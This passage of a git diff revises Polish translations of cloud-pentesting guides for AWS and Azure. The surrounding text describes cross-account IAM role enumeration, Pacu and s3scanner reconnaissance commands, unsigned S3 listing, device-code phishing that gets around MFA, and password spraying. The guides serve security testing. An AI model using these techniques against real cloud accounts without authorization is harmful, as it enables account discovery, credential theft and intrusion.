między istniejącymi a nieistniejącymi rolami** ma zastosowanie nawet w różnych kontach AWS. Posiadając ważny identyfikator konta AWS i docelową listę słów, można enumerować role obecne w koncie bez napotkania jakichkolwiek wrodzonych ograniczeń. -Możesz użyć tego [skryptu do enumeracji potencjalnych głównych](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) wykorzystując ten problem. +Możesz użyć tego [skryptu do enumeracji potencjalnych głównych użytkowników](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum), wykorzystując ten problem. ### Polityki zaufania: Brute-Force ról i użytkowników między kontami -Konfigurowanie lub aktualizowanie **polityki zaufania roli IAM polega na określeniu, które zasoby lub usługi AWS mają prawo przyjąć tę rolę** i uzyskać tymczasowe poświadczenia. Jeśli określony zasób w polityce **istnieje**, polityka zaufania zapisuje się **pomyślnie**. Jednak jeśli zasób **nie istnieje**, generowany jest **błąd**, wskazujący, że podano nieprawidłowego głównego. +Konfigurowanie lub aktualizowanie **polityki zaufania roli IAM polega na określeniu, które zasoby lub usługi AWS mają prawo przyjąć tę rolę** i uzyskać tymczasowe poświadczenia. Jeśli określony zasób w polityce **istnieje**, polityka zaufania zapisuje się **pomyślnie**. Jednak jeśli zasób **nie istnieje**, generowany jest **błąd**, wskazujący, że podano nieprawidłowego głównego użytkownika. > [!WARNING] > Zauważ, że w tym zasobie możesz określić rolę lub użytkownika między kontami: @@ -54,7 +54,7 @@ To jest przykład polityki: ``` #### GUI -To jest **błąd**, który znajdziesz, jeśli użyjesz **roli, która nie istnieje**. Jeśli rola **istnieje**, polityka zostanie **zapisana** bez żadnych błędów. (Błąd dotyczy aktualizacji, ale działa również podczas tworzenia) +To jest **błąd**, który znajdziesz, jeśli używasz **roli, która nie istnieje**. Jeśli rola **istnieje**, polityka zostanie **zapisana** bez żadnych błędów. (Błąd dotyczy aktualizacji, ale działa również podczas tworzenia) ![](<../../../images/image (153).png>) @@ -99,7 +99,7 @@ Używając [Pacu](https://github.com/RhinoSecurityLabs/pacu): - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- Rola `admin` użyta w przykładzie to **rola w twoim koncie, która ma być naśladowana** przez pacu w celu utworzenia potrzebnych polityk do enumeracji +- Rola `admin` użyta w przykładzie to **rola w twoim koncie, która ma być naśladowana** przez pacu, aby stworzyć potrzebne polityki do enumeracji ### Privesc diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index 6afc909a5..5893771ae 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -102,9 +102,9 @@ accountId= ) sts_creds.get('roleCredentials') ``` -### Phishing dla "niephishable" MFA +### Phishing nie do przechwycenia MFA -Fajnie jest wiedzieć, że poprzedni atak **działa nawet jeśli używane jest "niephishable MFA" (webAuth)**. Dzieje się tak, ponieważ poprzedni **workflow nigdy nie opuszcza używanej domeny OAuth**. W przeciwieństwie do innych ataków phishingowych, gdzie użytkownik musi zastąpić domenę logowania, w przypadku workflow kodu urządzenia przygotowano tak, że **kod jest znany przez urządzenie** i użytkownik może się zalogować nawet na innym komputerze. Jeśli zaakceptuje monit, urządzenie, po **znaniu początkowego kodu**, będzie w stanie **odzyskać dane uwierzytelniające** dla użytkownika. +Fajnie jest wiedzieć, że poprzedni atak **działa nawet jeśli używane jest "nie do przechwycenia MFA" (webAuth)**. Dzieje się tak, ponieważ poprzedni **workflow nigdy nie opuszcza używanej domeny OAuth**. W przeciwieństwie do innych ataków phishingowych, gdzie użytkownik musi zastąpić domenę logowania, w przypadku, gdy workflow kodu urządzenia jest przygotowane, **kod jest znany przez urządzenie** i użytkownik może się zalogować nawet na innym urządzeniu. Jeśli zaakceptuje monit, urządzenie, **znając początkowy kod**, będzie w stanie **odzyskać dane uwierzytelniające** dla użytkownika. Aby uzyskać więcej informacji, [**sprawdź ten post**](https://mjg59.dreamwidth.org/62175.html). diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md index b589ad726..5437a43a7 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### Szablon publicznego URL-a +### Szablon publicznego URL ``` https://{random_id}.kinesisvideo.{region}.amazonaws.com ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index 72f341157..cc75c08e7 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -6,7 +6,7 @@ ### **RabbitMQ** -W przypadku **RabbitMQ**, domyślnie publiczny dostęp i ssl są włączone. Jednak potrzebujesz **poświadczeń** do uzyskania dostępu (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Co więcej, możliwe jest **uzyskanie dostępu do konsoli zarządzania w sieci**, jeśli znasz poświadczenia w `https://b-.mq.us-east-1.amazonaws.com/` +W przypadku **RabbitMQ**, domyślnie publiczny dostęp i ssl są włączone. Ale potrzebujesz **poświadczeń** do uzyskania dostępu (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Ponadto możliwe jest **uzyskanie dostępu do konsoli zarządzania w sieci**, jeśli znasz poświadczenia w `https://b-.mq.us-east-1.amazonaws.com/` ### ActiveMQ diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 6df8ee317..d7b5b31de 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## Publiczne Buckety S3 -Bucket jest uważany za **„publiczny”**, jeśli **każdy użytkownik może wylistować zawartość** bucketa, a za **„prywatny”**, jeśli zawartość bucketa może być **wylistowana lub zapisana tylko przez określonych użytkowników**. +Bucket jest uważany za **„publiczny”**, jeśli **każdy użytkownik może wylistować zawartość** bucketa, a **„prywatny”**, jeśli zawartość bucketa może być **wylistowana lub zapisana tylko przez określonych użytkowników**. Firmy mogą mieć **błędnie skonfigurowane uprawnienia bucketów**, co daje dostęp albo do wszystkiego, albo do wszystkich uwierzytelnionych w AWS w dowolnym koncie (czyli do każdego). Należy pamiętać, że nawet przy takich błędnych konfiguracjach niektóre działania mogą nie być możliwe do wykonania, ponieważ buckety mogą mieć własne listy kontroli dostępu (ACL). @@ -75,7 +75,7 @@ cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep bucket_exists -#### Zasoby z Bucketów S3 +#### Zasoby Buckety S3 Dzięki otwartym bucketom S3, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) może automatycznie **szukać interesujących informacji**. @@ -85,7 +85,7 @@ Możesz znaleźć wszystkie obsługiwane regiony przez AWS w [**https://docs.aws #### Przez DNS -Możesz uzyskać region bucketa za pomocą **`dig`** i **`nslookup`**, wykonując **zapytanie DNS o odkryty IP**: +Możesz uzyskać region bucketa za pomocą **`dig`** i **`nslookup`**, wykonując **zapytanie DNS odkrytego IP**: ```bash dig flaws.cloud ;; ANSWER SECTION: @@ -125,7 +125,7 @@ Możesz to również sprawdzić za pomocą cli: #Opcionally you can select the region if you now it aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] ``` -Jeśli koszyk nie ma nazwy domeny, próbując go enumerować, **wprowadź tylko nazwę koszyka** i nie całą domenę AWSs3. Przykład: `s3://` +Jeśli koszyk nie ma nazwy domeny, próbując go wyenumerować, **wprowadź tylko nazwę koszyka** i nie całą domenę AWSs3. Przykład: `s3://` ### Szablon publicznego URL ``` @@ -146,11 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` -Ta technika działa również z adresami URL API Gateway, adresami URL Lambda, zestawami danych Data Exchange, a nawet do uzyskania wartości tagów (jeśli znasz klucz tagu). Więcej informacji można znaleźć w [**oryginalnych badaniach**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) oraz w narzędziu [**conditional-love**](https://github.com/plerionhq/conditional-love/), aby zautomatyzować tę eksploitację. +Ta technika działa również z adresami URL API Gateway, adresami URL Lambda, zestawami danych Data Exchange, a nawet do uzyskania wartości tagów (jeśli znasz klucz tagu). Więcej informacji można znaleźć w [**oryginalnych badaniach**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) oraz w narzędziu [**conditional-love**](https://github.com/plerionhq/conditional-love/), aby zautomatyzować tę eksploatację. ### Potwierdzenie, że koszyk należy do konta AWS -Jak wyjaśniono w [**tym poście na blogu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, jeśli masz uprawnienia do wylistowania koszyka** możliwe jest potwierdzenie accountID, do którego należy koszyk, wysyłając żądanie takie jak: +Jak wyjaśniono w [**tym wpisie na blogu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, jeśli masz uprawnienia do wylistowania koszyka** możliwe jest potwierdzenie accountID, do którego należy koszyk, wysyłając żądanie takie jak: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 04d5e4d97..c497d6872 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -27,11 +27,11 @@ Z punktu widzenia Red Team, **pierwszym krokiem do skompromitowania środowiska - **`az logout`** usuwa token. - Starsze wersje **`Az PowerShell`** przechowywały **tokeny dostępu** w **czystym** tekście w **`TokenCache.dat`**. Przechowuje również **ServicePrincipalSecret** w **czystym** tekście w **`AzureRmContext.json`**. Cmdlet **`Save-AzContext`** może być użyty do **przechowywania** **tokenów**.\ Użyj `Disconnect-AzAccount`, aby je usunąć. -- Naruszenia danych przez osoby trzecie +- Naruszenia przez osoby trzecie - **Wewnętrzny** pracownik - [**Typowe phishingi**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (poświadczenia lub aplikacja Oauth) - [Phishing z użyciem kodu urządzenia](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) -- [**Password Spraying** w Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) +- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) Nawet jeśli **nie skompromitowałeś żadnego użytkownika** w tenant Azure, który atakujesz, możesz **zgromadzić pewne informacje** z niego: @@ -59,7 +59,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
-W przypadkach, gdy masz ważne poświadczenia, ale nie możesz się zalogować, oto kilka powszechnych zabezpieczeń, które mogą być wprowadzone: +W przypadkach, gdy masz jakieś ważne poświadczenia, ale nie możesz się zalogować, oto kilka powszechnych zabezpieczeń, które mogą być wprowadzone: - **Biała lista IP** -- Musisz skompromitować ważny adres IP - **Ograniczenia geograficzne** -- Znajdź, gdzie mieszka użytkownik lub gdzie znajdują się biura firmy i uzyskaj IP z tego samego miasta (lub przynajmniej kraju) @@ -126,7 +126,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user ### ENtra ID Enumeration -Domyślnie każdy użytkownik powinien mieć **wystarczające uprawnienia do enumeracji** takich rzeczy jak użytkownicy, grupy, role, usługi principal... (sprawdź [domyślne uprawnienia AzureAD](az-basic-information/#default-user-permissions)).\ +Domyślnie każdy użytkownik powinien mieć **wystarczające uprawnienia do enumeracji** rzeczy takich jak użytkownicy, grupy, role, usługi principal... (sprawdź [domyślne uprawnienia AzureAD](az-basic-information/#default-user-permissions)).\ Możesz znaleźć tutaj przewodnik: {{#ref}} diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index b9aca1f30..5df8ac388 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -24,11 +24,11 @@ - To kolejny **logiczny kontener, w którym mogą być uruchamiane zasoby** (VM, DB…) i za który będą naliczane opłaty. - Jego **rodzicem** jest zawsze **grupa zarządzająca** (może to być główna grupa zarządzająca), ponieważ subskrypcje nie mogą zawierać innych subskrypcji. - **Ufa tylko jednemu katalogowi Entra ID** -- **Uprawnienia** stosowane na poziomie subskrypcji (lub dowolnego z jej rodziców) są **dziedziczone** przez wszystkie zasoby wewnątrz subskrypcji +- **Uprawnienia** stosowane na poziomie subskrypcji (lub dowolnego z jej rodziców) są **dziedziczone** przez wszystkie zasoby wewnątrz subskrypcji. ### Grupy zasobów -[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Grupa zasobów to **kontener**, który przechowuje **powiązane zasoby** dla rozwiązania Azure. Grupa zasobów może zawierać wszystkie zasoby dla rozwiązania lub tylko te **zasoby, które chcesz zarządzać jako grupą**. Zazwyczaj dodawaj **zasoby**, które mają **ten sam cykl życia** do tej samej grupy zasobów, aby łatwo je wdrażać, aktualizować i usuwać jako grupę. +[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Grupa zasobów to **kontener**, który przechowuje **powiązane zasoby** dla rozwiązania Azure. Grupa zasobów może zawierać wszystkie zasoby dla rozwiązania lub tylko te **zasoby, które chcesz zarządzać jako grupą**. Zazwyczaj dodawaj **zasoby**, które mają **ten sam cykl życia**, do tej samej grupy zasobów, aby łatwo je wdrażać, aktualizować i usuwać jako grupę. Wszystkie **zasoby** muszą być **wewnątrz grupy zasobów** i mogą należeć tylko do jednej grupy, a jeśli grupa zasobów zostanie usunięta, wszystkie zasoby w niej również zostaną usunięte. @@ -92,20 +92,20 @@ Możesz je sprawdzić w [https://learn.microsoft.com/en-us/entra/fundamentals/us ### Domyślne konfigurowalne uprawnienia użytkowników -- **Członkowie (**[**dokumentacja**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** +- **Członkowie (**[**dokumenty**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** - Rejestracja aplikacji: Domyślnie **Tak** -- Ograniczenie użytkowników niebędących administratorami przed tworzeniem najemców: Domyślnie **Nie** +- Ograniczenie użytkowników niebędących administratorami w tworzeniu najemców: Domyślnie **Nie** - Tworzenie grup zabezpieczeń: Domyślnie **Tak** - Ograniczenie dostępu do portalu administracyjnego Microsoft Entra: Domyślnie **Nie** - To nie ogranicza dostępu API do portalu (tylko web) - Zezwolenie użytkownikom na połączenie konta roboczego lub szkolnego z LinkedIn: Domyślnie **Tak** - Pokaż, aby użytkownik pozostał zalogowany: Domyślnie **Tak** -- Ograniczenie użytkowników przed odzyskiwaniem klucza BitLocker dla ich posiadanych urządzeń: Domyślnie **Nie** (sprawdź w Ustawieniach urządzenia) +- Ograniczenie użytkowników w odzyskiwaniu klucza BitLocker dla ich posiadanych urządzeń: Domyślnie Nie (sprawdź w Ustawieniach urządzenia) - Czytać innych użytkowników: Domyślnie **Tak** (za pośrednictwem Microsoft Graph) - **Goście** - **Ograniczenia dostępu użytkowników gości** -- **Użytkownicy goście mają takie same uprawnienia jak członkowie** przyznaje wszystkie uprawnienia użytkowników członków użytkownikom gości domyślnie. -- **Użytkownicy goście mają ograniczony dostęp do właściwości i członkostw obiektów katalogowych (domyślnie)** ogranicza dostęp gości tylko do ich własnego profilu użytkownika domyślnie. Dostęp do informacji o innych użytkownikach i grupach nie jest już dozwolony. +- **Użytkownicy goście mają takie same uprawnienia jak członkowie**, co domyślnie przyznaje wszystkie uprawnienia użytkowników członków użytkownikom gości. +- **Użytkownicy goście mają ograniczony dostęp do właściwości i członkostw obiektów katalogowych (domyślnie)** ogranicza dostęp gości tylko do ich własnego profilu użytkownika. Dostęp do informacji o innych użytkownikach i grupach nie jest już dozwolony. - **Dostęp użytkowników gości jest ograniczony do właściwości i członkostw ich własnych obiektów katalogowych** jest najbardziej restrykcyjny. - **Goście mogą zapraszać** - **Każdy w organizacji może zapraszać użytkowników gości, w tym gości i nie-administratorów (najbardziej inkluzywne) - Domyślnie** @@ -116,7 +116,7 @@ Możesz je sprawdzić w [https://learn.microsoft.com/en-us/entra/fundamentals/us - Zezwolenie użytkownikom zewnętrznym na odejście z organizacji > [!TIP] -> Nawet jeśli są ograniczeni domyślnie, użytkownicy (członkowie i goście) z przyznanymi uprawnieniami mogą wykonywać poprzednie działania. +> Nawet jeśli są ograniczeni domyślnie, użytkownicy (członkowie i goście) z przyznanymi uprawnieniami mogą wykonywać wcześniejsze działania. ### **Grupy** @@ -149,7 +149,7 @@ Możliwe jest **bezpośrednie logowanie jako zasada usługi** poprzez wygenerowa 1. **Identyfikator aplikacji (Client ID):** Unikalny identyfikator twojej aplikacji w Azure AD. 2. **URI przekierowania:** URL-e, do których Azure AD wysyła odpowiedzi uwierzytelniające. 3. **Certyfikaty, sekrety i poświadczenia federowane:** Możliwe jest wygenerowanie sekretu lub certyfikatu, aby zalogować się jako zasada usługi aplikacji lub przyznać jej dostęp federowany (np. Github Actions). -1. Jeśli **certyfikat** lub **sekret** zostanie wygenerowany, możliwe jest, aby osoba **zalogowała się jako zasada usługi** za pomocą narzędzi CLI, znając **identyfikator aplikacji**, **sekret** lub **certyfikat** oraz **najemcę** (domena lub ID). +1. Jeśli **certyfikat** lub **sekret** zostanie wygenerowany, możliwe jest, aby osoba **zalogowała się jako zasada usługi** za pomocą narzędzi CLI, znając **identyfikator aplikacji**, **sekret** lub **certyfikat** oraz **najemcę** (domenę lub ID). 4. **Uprawnienia API:** Określa, do jakich zasobów lub API aplikacja ma dostęp. 5. **Ustawienia uwierzytelniania:** Definiuje obsługiwane przez aplikację przepływy uwierzytelniania (np. OAuth2, OpenID Connect). 6. **Zasada usługi**: Zasada usługi jest tworzona, gdy aplikacja jest tworzona (jeśli jest to robione z konsoli internetowej) lub gdy jest instalowana w nowym najemcy. @@ -165,7 +165,7 @@ Możliwe jest **bezpośrednie logowanie jako zasada usługi** poprzez wygenerowa - Wszyscy użytkownicy mogą wyrazić zgodę na uprawnienia klasyfikowane jako "niski wpływ", dla aplikacji od zweryfikowanych wydawców lub aplikacji zarejestrowanych w tej organizacji. - **Domyślne** uprawnienia o niskim wpływie (chociaż musisz zaakceptować, aby dodać je jako niskie): - User.Read - zaloguj się i odczytaj profil użytkownika -- offline_access - utrzymuj dostęp do danych, do których użytkownicy dali dostęp +- offline_access - utrzymuj dostęp do danych, do których użytkownicy udzielili mu dostępu - openid - zaloguj użytkowników - profile - wyświetl podstawowy profil użytkownika - email - wyświetl adres e-mail użytkownika @@ -175,7 +175,7 @@ Możliwe jest **bezpośrednie logowanie jako zasada usługi** poprzez wygenerowa **Prośby o zgodę administratora**: Domyślnie **Nie** - Użytkownicy mogą prosić o zgodę administratora na aplikacje, do których nie mogą wyrazić zgody -- Jeśli **Tak**: Możliwe jest wskazanie Użytkowników, Grup i Ról, które mogą wyrazić zgodę na prośby +- Jeśli **Tak**: Możliwe jest wskazanie Użytkowników, Grup i Ról, które mogą wyrażać zgodę na prośby - Skonfiguruj również, czy użytkownicy otrzymają powiadomienia e-mail i przypomnienia o wygaśnięciu ### **Zarządzana tożsamość (metadane)** @@ -185,15 +185,15 @@ Zarządzane tożsamości w Azure Active Directory oferują rozwiązanie do **aut Istnieją dwa typy zarządzanych tożsamości: - **Przypisane do systemu**. Niektóre usługi Azure pozwalają na **włączenie zarządzanej tożsamości bezpośrednio na instancji usługi**. Gdy włączysz zarządzaną tożsamość przypisaną do systemu, **zasada usługi** jest tworzona w najemcy Entra ID zaufanym przez subskrypcję, w której znajduje się zasób. Gdy **zasób** jest **usuwany**, Azure automatycznie **usuwa** **tożsamość** za Ciebie. -- **Przypisane przez użytkownika**. Użytkownicy mogą również generować zarządzane tożsamości. Są one tworzone wewnątrz grupy zasobów w subskrypcji, a zasada usługi zostanie utworzona w EntraID zaufanym przez subskrypcję. Następnie możesz przypisać zarządzaną tożsamość do jednej lub **więcej instancji** usługi Azure (wiele zasobów). W przypadku zarządzanych tożsamości przypisanych przez użytkownika, **tożsamość jest zarządzana oddzielnie od zasobów, które jej używają**. +- **Przypisane przez użytkownika**. Użytkownicy mogą również generować zarządzane tożsamości. Są one tworzone wewnątrz grupy zasobów w subskrypcji, a zasada usługi zostanie utworzona w EntraID zaufanym przez subskrypcję. Następnie możesz przypisać zarządzaną tożsamość do jednej lub **więcej instancji** usługi Azure (wiele zasobów). W przypadku zarządzanych tożsamości przypisanych przez użytkownika **tożsamość jest zarządzana oddzielnie od zasobów, które jej używają**. -Zarządzane tożsamości **nie generują wiecznych poświadczeń** (jak hasła czy certyfikaty) do uzyskania dostępu jako zasada usługi do niej przypisana. +Zarządzane tożsamości **nie generują wiecznych poświadczeń** (takich jak hasła lub certyfikaty) do uzyskania dostępu jako zasada usługi do niej przypisana. ### Aplikacje korporacyjne -To po prostu **tabela w Azure do filtrowania zasad usług** i sprawdzania aplikacji, które zostały do niej przypisane. +To po prostu **tabela w Azure do filtrowania zasad usług** i sprawdzania aplikacji, które zostały do nich przypisane. -**To nie jest inny typ "aplikacji",** nie ma żadnego obiektu w Azure, który jest "Aplikacją korporacyjną", to tylko abstrakcja do sprawdzania zasad usług, rejestracji aplikacji i zarządzanych tożsamości. +**Nie jest to inny typ "aplikacji",** nie ma żadnego obiektu w Azure, który jest "Aplikacją korporacyjną", to tylko abstrakcja do sprawdzania zasad usług, rejestracji aplikacji i zarządzanych tożsamości. ### Jednostki administracyjne @@ -253,7 +253,7 @@ Te role mogą **być również przypisane do kontenerów logicznych** (takich ja ### Niestandardowe role - Możliwe jest również tworzenie [**niestandardowych ról**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) -- Są one tworzone wewnątrz zakresu, chociaż rola może być w kilku zakresach (grupy zarządzające, subskrypcje i grupy zasobów) +- Tworzone są wewnątrz zakresu, chociaż rola może być w kilku zakresach (grupy zarządzające, subskrypcje i grupy zasobów) - Możliwe jest skonfigurowanie wszystkich szczegółowych uprawnień, które będzie miała niestandardowa rola - Możliwe jest wykluczenie uprawnień - Główny z wykluczonym uprawnieniem nie będzie mógł go używać, nawet jeśli uprawnienie jest przyznawane gdzie indziej @@ -310,9 +310,9 @@ To podniesienie można wykonać na końcu strony: [https://portal.azure.com/#vie ### Polityki Azure -**Polityki Azure** to zasady, które pomagają organizacjom zapewnić, że ich zasoby spełniają określone standardy i wymagania dotyczące zgodności. Umożliwiają one **egzekwowanie lub audyt ustawień na zasobach w Azure**. Na przykład, można zapobiec tworzeniu maszyn wirtualnych w nieautoryzowanym regionie lub zapewnić, że wszystkie zasoby mają określone tagi do śledzenia. +**Polityki Azure** to zasady, które pomagają organizacjom zapewnić, że ich zasoby spełniają określone standardy i wymagania zgodności. Umożliwiają one **egzekwowanie lub audyt ustawień na zasobach w Azure**. Na przykład, można zapobiec tworzeniu maszyn wirtualnych w nieautoryzowanym regionie lub zapewnić, że wszystkie zasoby mają określone tagi do śledzenia. -Polityki Azure są **proaktywne**: mogą zatrzymać tworzenie lub zmianę zasobów, które nie są zgodne. Są również **reaktywne**, umożliwiając znalezienie i naprawienie istniejących zasobów, które nie są zgodne. +Polityki Azure są **proaktywne**: mogą zatrzymać tworzenie lub zmianę zasobów, które nie są zgodne. Są również **reaktywne**, umożliwiając znalezienie i naprawienie istniejących zasobów niezgodnych. #### **Kluczowe pojęcia** @@ -363,7 +363,7 @@ Ta struktura hierarchiczna umożliwia efektywne i skalowalne zarządzanie uprawn **RBAC** (kontrola dostępu oparta na rolach) to to, co już widzieliśmy w poprzednich sekcjach: **Przypisanie roli do podmiotu w celu przyznania mu dostępu** do zasobu.\ Jednak w niektórych przypadkach możesz chcieć zapewnić **bardziej szczegółowe zarządzanie dostępem** lub **uproszczenie** zarządzania **setkami** przypisań ról. -Azure **ABAC** (kontrola dostępu oparta na atrybutach) opiera się na Azure RBAC, dodając **warunki przypisania ról oparte na atrybutach** w kontekście konkretnych działań. _Warunek przypisania roli_ to **dodatkowa kontrola, którą możesz opcjonalnie dodać do swojego przypisania roli**, aby zapewnić bardziej szczegółową kontrolę dostępu. Warunek filtruje uprawnienia przyznawane jako część definicji roli i przypisania roli. Na przykład, możesz **dodać warunek, który wymaga, aby obiekt miał określony tag, aby go odczytać**.\ +Azure **ABAC** (kontrola dostępu oparta na atrybutach) opiera się na Azure RBAC, dodając **warunki przypisania ról oparte na atrybutach** w kontekście konkretnych działań. _Warunek przypisania roli_ to **dodatkowa kontrola, którą możesz opcjonalnie dodać do swojego przypisania roli**, aby zapewnić bardziej szczegółową kontrolę dostępu. Warunek filtruje uprawnienia przyznawane jako część definicji roli i przypisania roli. Na przykład, możesz **dodać warunek, który wymaga, aby obiekt miał konkretny tag, aby go odczytać**.\ **Nie możesz** wyraźnie **odmówić** **dostępu** do konkretnych zasobów **za pomocą warunków**. ## Odniesienia diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index 77f9bbc5e..bd8c65eb8 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -4,7 +4,7 @@ ## Podstawowe Informacje -Entra ID to platforma zarządzania tożsamością i dostępem (IAM) w chmurze firmy Microsoft, stanowiąca podstawowy system uwierzytelniania i autoryzacji dla usług takich jak Microsoft 365 i Azure Resource Manager. Azure AD wdraża ramy autoryzacji OAuth 2.0 oraz protokół uwierzytelniania OpenID Connect (OIDC) do zarządzania dostępem do zasobów. +Entra ID to platforma zarządzania tożsamością i dostępem (IAM) w chmurze firmy Microsoft, stanowiąca podstawowy system uwierzytelniania i autoryzacji dla usług takich jak Microsoft 365 i Azure Resource Manager. Azure AD wdraża ramy autoryzacji OAuth 2.0 oraz protokół uwierzytelniania OpenID Connect (OIDC) w celu zarządzania dostępem do zasobów. ### OAuth @@ -43,8 +43,8 @@ Entra ID to platforma zarządzania tożsamością i dostępem (IAM) w chmurze fi Istnieją **trzy typy tokenów** używanych w OIDC: - [**Tokeny Dostępu**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Klient przedstawia ten token serwerowi zasobów, aby **uzyskać dostęp do zasobów**. Może być używany tylko dla określonej kombinacji użytkownika, klienta i zasobu i **nie może być unieważniony** do momentu wygaśnięcia - co wynosi domyślnie 1 godzinę. -- **Tokeny ID**: Klient otrzymuje ten **token od serwera autoryzacji**. Zawiera podstawowe informacje o użytkowniku. Jest **powiązany z określoną kombinacją użytkownika i klienta**. -- **Tokeny Odświeżające**: Przyznawane klientowi wraz z tokenem dostępu. Używane do **uzyskiwania nowych tokenów dostępu i ID**. Jest powiązany z określoną kombinacją użytkownika i klienta i może być unieważniony. Domyślne wygaśnięcie wynosi **90 dni** dla nieaktywnych tokenów odświeżających i **brak wygaśnięcia dla aktywnych tokenów** (z tokena odświeżającego można uzyskać nowe tokeny odświeżające). +- **Tokeny ID:** Klient otrzymuje ten **token od serwera autoryzacji**. Zawiera podstawowe informacje o użytkowniku. Jest **powiązany z określoną kombinacją użytkownika i klienta**. +- **Tokeny Odświeżające:** Przyznawane klientowi wraz z tokenem dostępu. Używane do **uzyskiwania nowych tokenów dostępu i ID**. Jest powiązany z określoną kombinacją użytkownika i klienta i może być unieważniony. Domyślne wygaśnięcie wynosi **90 dni** dla nieaktywnych tokenów odświeżających i **brak wygaśnięcia dla aktywnych tokenów** (z tokena odświeżającego można uzyskać nowe tokeny odświeżające). - Token odświeżający powinien być powiązany z **`aud`**, z pewnymi **zakresami** i z **dzierżawcą** i powinien być w stanie generować tokeny dostępu tylko dla tego aud, zakresów (i nic więcej) oraz dzierżawcy. Jednak nie jest to przypadek z **tokenami aplikacji FOCI**. - Token odświeżający jest szyfrowany i tylko Microsoft może go odszyfrować. - Uzyskanie nowego tokena odświeżającego nie unieważnia poprzedniego tokena odświeżającego. @@ -65,7 +65,7 @@ Polecenie `az account get-access-token --resource-type [...]` obsługuje następ przykłady aud -- **aad-graph (Azure Active Directory Graph API)**: Używane do uzyskiwania dostępu do przestarzałego Azure AD Graph API (deprecjonowane), które pozwala aplikacjom na odczyt i zapis danych katalogowych w 